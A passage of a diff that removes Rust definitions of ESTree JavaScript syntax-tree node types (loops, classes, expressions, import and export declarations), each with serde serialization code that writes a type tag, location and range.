-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "CatchClause")?;
-        state.serialize_entry("param", &self.param)?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct WhileStatement {
-    pub test: Expression,
-    pub body: Statement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for WhileStatement {}
-impl Serialize for WhileStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "WhileStatement")?;
-        state.serialize_entry("test", &self.test)?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct DoWhileStatement {
-    pub body: Statement,
-    pub test: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for DoWhileStatement {}
-impl Serialize for DoWhileStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "DoWhileStatement")?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("test", &self.test)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ForStatement {
-    pub init: Option<ForInit>,
-    pub test: Option<Expression>,
-    pub update: Option<Expression>,
-    pub body: Statement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ForStatement {}
-impl Serialize for ForStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ForStatement")?;
-        state.serialize_entry("init", &self.init)?;
-        state.serialize_entry("test", &self.test)?;
-        state.serialize_entry("update", &self.update)?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ForInStatement {
-    pub left: ForInInit,
-    pub right: Expression,
-    pub body: Statement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ForInStatement {}
-impl Serialize for ForInStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ForInStatement")?;
-        state.serialize_entry("left", &self.left)?;
-        state.serialize_entry("right", &self.right)?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ForOfStatement {
-    #[serde(rename = "await")]
-    #[serde(default)]
-    pub is_await: bool,
-    pub left: ForInInit,
-    pub right: Expression,
-    pub body: Statement,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ForOfStatement {}
-impl Serialize for ForOfStatement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ForOfStatement")?;
-        state.serialize_entry("await", &self.is_await)?;
-        state.serialize_entry("left", &self.left)?;
-        state.serialize_entry("right", &self.right)?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct FunctionDeclaration {
-    #[serde(flatten)]
-    pub function: Function,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for FunctionDeclaration {}
-impl Serialize for FunctionDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "FunctionDeclaration")?;
-        Serialize::serialize(
-            &self.function,
-            serde::__private::ser::FlatMapSerializer(&mut state),
-        )?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ClassDeclaration {
-    #[serde(flatten)]
-    pub class: Class,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ClassDeclaration {}
-impl Serialize for ClassDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ClassDeclaration")?;
-        Serialize::serialize(
-            &self.class,
-            serde::__private::ser::FlatMapSerializer(&mut state),
-        )?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ClassExpression {
-    #[serde(flatten)]
-    pub class: Class,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ClassExpression {}
-impl Serialize for ClassExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ClassExpression")?;
-        Serialize::serialize(
-            &self.class,
-            serde::__private::ser::FlatMapSerializer(&mut state),
-        )?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ClassBody {
-    pub body: Vec<ClassItem>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ClassBody {}
-impl Serialize for ClassBody {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ClassBody")?;
-        state.serialize_entry("body", &self.body)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct MethodDefinition {
-    pub key: Expression,
-    pub value: FunctionExpression,
-    pub kind: MethodKind,
-    #[serde(rename = "computed")]
-    pub is_computed: bool,
-    #[serde(rename = "static")]
-    pub is_static: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for MethodDefinition {}
-impl Serialize for MethodDefinition {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "MethodDefinition")?;
-        state.serialize_entry("key", &self.key)?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("kind", &self.kind)?;
-        state.serialize_entry("computed", &self.is_computed)?;
-        state.serialize_entry("static", &self.is_static)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct VariableDeclaration {
-    pub kind: VariableDeclarationKind,
-    pub declarations: Vec<VariableDeclarator>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for VariableDeclaration {}
-impl Serialize for VariableDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "VariableDeclaration")?;
-        state.serialize_entry("kind", &self.kind)?;
-        state.serialize_entry("declarations", &self.declarations)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct VariableDeclarator {
-    pub id: Pattern,
-    pub init: Option<Expression>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for VariableDeclarator {}
-impl Serialize for VariableDeclarator {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "VariableDeclarator")?;
-        state.serialize_entry("id", &self.id)?;
-        state.serialize_entry("init", &self.init)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ThisExpression {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ThisExpression {}
-impl Serialize for ThisExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ThisExpression")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ArrayExpression {
-    pub elements: Vec<Option<ExpressionOrSpread>>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ArrayExpression {}
-impl Serialize for ArrayExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ArrayExpression")?;
-        state.serialize_entry("elements", &self.elements)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ObjectExpression {
-    pub properties: Vec<PropertyOrSpreadElement>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ObjectExpression {}
-impl Serialize for ObjectExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ObjectExpression")?;
-        state.serialize_entry("properties", &self.properties)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct Property {
-    pub key: Expression,
-    pub value: Expression,
-    pub kind: PropertyKind,
-    #[serde(rename = "method")]
-    pub is_method: bool,
-    #[serde(rename = "shorthand")]
-    pub is_shorthand: bool,
-    #[serde(rename = "computed")]
-    pub is_computed: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for Property {}
-impl Serialize for Property {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "Property")?;
-        state.serialize_entry("key", &self.key)?;
-        state.serialize_entry("value", &self.value)?;
-        state.serialize_entry("kind", &self.kind)?;
-        state.serialize_entry("method", &self.is_method)?;
-        state.serialize_entry("shorthand", &self.is_shorthand)?;
-        state.serialize_entry("computed", &self.is_computed)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct FunctionExpression {
-    #[serde(flatten)]
-    pub function: Function,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for FunctionExpression {}
-impl Serialize for FunctionExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "FunctionExpression")?;
-        Serialize::serialize(
-            &self.function,
-            serde::__private::ser::FlatMapSerializer(&mut state),
-        )?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ArrowFunctionExpression {
-    #[serde(flatten)]
-    pub function: Function,
-    #[serde(rename = "expression")]
-    pub is_expression: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ArrowFunctionExpression {}
-impl Serialize for ArrowFunctionExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ArrowFunctionExpression")?;
-        Serialize::serialize(
-            &self.function,
-            serde::__private::ser::FlatMapSerializer(&mut state),
-        )?;
-        state.serialize_entry("expression", &self.is_expression)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct UnaryExpression {
-    pub operator: UnaryOperator,
-    pub prefix: bool,
-    pub argument: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for UnaryExpression {}
-impl Serialize for UnaryExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "UnaryExpression")?;
-        state.serialize_entry("operator", &self.operator)?;
-        state.serialize_entry("prefix", &self.prefix)?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct UpdateExpression {
-    pub operator: UpdateOperator,
-    pub argument: Expression,
-    pub prefix: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for UpdateExpression {}
-impl Serialize for UpdateExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "UpdateExpression")?;
-        state.serialize_entry("operator", &self.operator)?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("prefix", &self.prefix)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct BinaryExpression {
-    pub left: Expression,
-    pub operator: BinaryOperator,
-    pub right: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for BinaryExpression {}
-impl Serialize for BinaryExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "BinaryExpression")?;
-        state.serialize_entry("left", &self.left)?;
-        state.serialize_entry("operator", &self.operator)?;
-        state.serialize_entry("right", &self.right)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct AssignmentExpression {
-    pub operator: AssignmentOperator,
-    pub left: AssignmentTarget,
-    pub right: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for AssignmentExpression {}
-impl Serialize for AssignmentExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "AssignmentExpression")?;
-        state.serialize_entry("operator", &self.operator)?;
-        state.serialize_entry("left", &self.left)?;
-        state.serialize_entry("right", &self.right)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct LogicalExpression {
-    pub operator: LogicalOperator,
-    pub left: Expression,
-    pub right: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for LogicalExpression {}
-impl Serialize for LogicalExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "LogicalExpression")?;
-        state.serialize_entry("operator", &self.operator)?;
-        state.serialize_entry("left", &self.left)?;
-        state.serialize_entry("right", &self.right)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct MemberExpression {
-    pub object: ExpressionOrSuper,
-    pub property: ExpressionOrPrivateIdentifier,
-    #[serde(rename = "computed")]
-    pub is_computed: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for MemberExpression {}
-impl Serialize for MemberExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "MemberExpression")?;
-        state.serialize_entry("object", &self.object)?;
-        state.serialize_entry("property", &self.property)?;
-        state.serialize_entry("computed", &self.is_computed)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ConditionalExpression {
-    pub test: Expression,
-    pub alternate: Expression,
-    pub consequent: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ConditionalExpression {}
-impl Serialize for ConditionalExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ConditionalExpression")?;
-        state.serialize_entry("test", &self.test)?;
-        state.serialize_entry("alternate", &self.alternate)?;
-        state.serialize_entry("consequent", &self.consequent)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct CallExpression {
-    pub callee: ExpressionOrSuper,
-    pub arguments: Vec<ExpressionOrSpread>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for CallExpression {}
-impl Serialize for CallExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "CallExpression")?;
-        state.serialize_entry("callee", &self.callee)?;
-        state.serialize_entry("arguments", &self.arguments)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct NewExpression {
-    pub callee: Expression,
-    pub arguments: Vec<ExpressionOrSpread>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for NewExpression {}
-impl Serialize for NewExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "NewExpression")?;
-        state.serialize_entry("callee", &self.callee)?;
-        state.serialize_entry("arguments", &self.arguments)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct SequenceExpression {
-    pub expressions: Vec<Expression>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for SequenceExpression {}
-impl Serialize for SequenceExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "SequenceExpression")?;
-        state.serialize_entry("expressions", &self.expressions)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct Super {
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for Super {}
-impl Serialize for Super {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "Super")?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct SpreadElement {
-    pub argument: Expression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for SpreadElement {}
-impl Serialize for SpreadElement {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "SpreadElement")?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct YieldExpression {
-    #[serde(default)]
-    pub argument: Option<Expression>,
-    #[serde(rename = "delegate")]
-    pub is_delegate: bool,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for YieldExpression {}
-impl Serialize for YieldExpression {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "YieldExpression")?;
-        state.serialize_entry("argument", &self.argument)?;
-        state.serialize_entry("delegate", &self.is_delegate)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ImportDeclaration {
-    pub specifiers: Vec<ImportDeclarationSpecifier>,
-    pub source: _Literal,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ImportDeclaration {}
-impl Serialize for ImportDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ImportDeclaration")?;
-        state.serialize_entry("specifiers", &self.specifiers)?;
-        state.serialize_entry("source", &self.source)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ImportSpecifier {
-    pub imported: Identifier,
-    pub local: Identifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ImportSpecifier {}
-impl Serialize for ImportSpecifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ImportSpecifier")?;
-        state.serialize_entry("imported", &self.imported)?;
-        state.serialize_entry("local", &self.local)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ImportDefaultSpecifier {
-    pub local: Identifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ImportDefaultSpecifier {}
-impl Serialize for ImportDefaultSpecifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ImportDefaultSpecifier")?;
-        state.serialize_entry("local", &self.local)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ImportNamespaceSpecifier {
-    pub local: Identifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ImportNamespaceSpecifier {}
-impl Serialize for ImportNamespaceSpecifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ImportNamespaceSpecifier")?;
-        state.serialize_entry("local", &self.local)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ExportNamedDeclaration {
-    pub declaration: Option<Declaration>,
-    pub specifiers: Vec<ExportSpecifier>,
-    pub source: Option<_Literal>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ExportNamedDeclaration {}
-impl Serialize for ExportNamedDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ExportNamedDeclaration")?;
-        state.serialize_entry("declaration", &self.declaration)?;
-        state.serialize_entry("specifiers", &self.specifiers)?;
-        state.serialize_entry("source", &self.source)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ExportSpecifier {
-    pub exported: Identifier,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ExportSpecifier {}
-impl Serialize for ExportSpecifier {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ExportSpecifier")?;
-        state.serialize_entry("exported", &self.exported)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ExportDefaultDeclaration {
-    pub declaration: DeclarationOrExpression,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ExportDefaultDeclaration {}
-impl Serialize for ExportDefaultDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
-        S: Serializer,
-    {
-        let mut state = serializer.serialize_map(None)?;
-        state.serialize_entry("type", "ExportDefaultDeclaration")?;
-        state.serialize_entry("declaration", &self.declaration)?;
-        state.serialize_entry("loc", &self.loc)?;
-        state.serialize_entry("range", &self.range)?;
-        state.end()
-    }
-}
-#[derive(Deserialize, Clone, Debug)]
-pub struct ExportAllDeclaration {
-    pub source: _Literal,
-    #[serde(default)]
-    pub exported: Option<Identifier>,
-    #[serde(default)]
-    pub loc: Option<SourceLocation>,
-    #[serde(default)]
-    pub range: Option<SourceRange>,
-}
-impl ESTreeNode for ExportAllDeclaration {}
-impl Serialize for ExportAllDeclaration {
-    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-    where
